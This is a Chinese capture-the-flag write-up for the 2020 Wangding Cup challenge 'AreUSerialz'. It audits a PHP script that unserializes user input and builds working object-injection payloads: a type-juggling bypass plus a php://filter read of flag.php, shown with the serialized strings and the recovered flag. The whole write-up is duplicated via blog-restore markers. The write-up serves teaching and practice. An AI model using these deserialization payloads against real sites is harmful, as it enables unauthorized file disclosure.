[网鼎杯 2020 青龙组]AreUSerialz

这是一个代码审计题:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分成3块,一块是定义FileHandler的类,一块是is_valid函数,最后一块是GET传值。

先讲最后一块函数。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

先GET接收一个str参数,然后利用is_valid函数检测,检测不通过直接报错,检测通过直接进行反序列化。


然后是is_valid函数:

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

其实就是将传入的参数循环一遍,要求ASCII码在32–125之间。


最后是反序列化,这里需要研究一下FileHandler类。

__destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法。

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

在这里如果op==='2'则会覆盖为'1',然后content被置空,并进入process。在process我们需要调用read()函数,所以需要让op=2。而这里是强等号,所以传入op=2即可,2是整形,'2’是字符型,2==='2'==>False

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

在这里调用read()函数,并在output()函数中进行输出。

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

这里利用file_get_contents()函数对文件进行读取,可以利用php:filter伪协议进行读取。于是将filename置为php://filter/read=convert.base64-encode/resource=flag.php。这个结果会在前段直接展示,如果不用伪协议读取的话,在源码

所以payload构造为:

<?php
class FileHandler {
    protected $op = 2;
    protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
    protected $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}
?>

传入后发现:在这里插入图片描述
不行的原因是private和protect类型在序列化的时候会生成%00,不能通过is_valid函数的检验。

在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:

<?php
class FileHandler {
    public $op = 2;
    public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public $content;
}
echo serialize(new FileHandler);
?>
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

在这里插入图片描述
如果不用php伪协议的话,payload:

<?php
class FileHandler {
    public $op = 2;
    public $filename = 'flag.php';
    public $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
?>

可以直接在源码页查看到flag
在这里插入图片描述
flag{e7240887-bc89-4f16-95f6-8f71e6f96b85}

------------恢复内容结束------------

------------恢复内容开始------------

这是一个代码审计题:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分成3块,一块是定义FileHandler的类,一块是is_valid函数,最后一块是GET传值。

先讲最后一块函数。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

先GET接收一个str参数,然后利用is_valid函数检测,检测不通过直接报错,检测通过直接进行反序列化。


然后是is_valid函数:

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

其实就是将传入的参数循环一遍,要求ASCII码在32–125之间。


最后是反序列化,这里需要研究一下FileHandler类。

__destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法。

function __destruct() {
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

在这里如果op==='2'则会覆盖为'1',然后content被置空,并进入process。在process我们需要调用read()函数,所以需要让op=2。而这里是强等号,所以传入op=2即可,2是整形,'2’是字符型,2==='2'==>False

public function process() {
    if($this->op == "1") {
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

在这里调用read()函数,并在output()函数中进行输出。

private function read() {
    $res = "";
    if(isset($this->filename)) {
        $res = file_get_contents($this->filename);
    }
    return $res;
}

这里利用file_get_contents()函数对文件进行读取,可以利用php:filter伪协议进行读取。于是将filename置为php://filter/read=convert.base64-encode/resource=flag.php。这个结果会在前段直接展示,如果不用伪协议读取的话,在源码

所以payload构造为:

<?php
class FileHandler {
    protected $op = 2;
    protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
    protected $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}
?>

传入后发现:在这里插入图片描述
不行的原因是private和protect类型在序列化的时候会生成%00,不能通过is_valid函数的检验。

在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:

<?php
class FileHandler {
    public $op = 2;
    public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public $content;
}
echo serialize(new FileHandler);
?>
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

在这里插入图片描述
如果不用php伪协议的话,payload:

<?php
class FileHandler {
    public $op = 2;
    public $filename = 'flag.php';
    public $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
?>

可以直接在源码页查看到flag
在这里插入图片描述
flag{e7240887-bc89-4f16-95f6-8f71e6f96b85}

原文地址:https://www.cnblogs.com/shenjuxian/p/13702736.html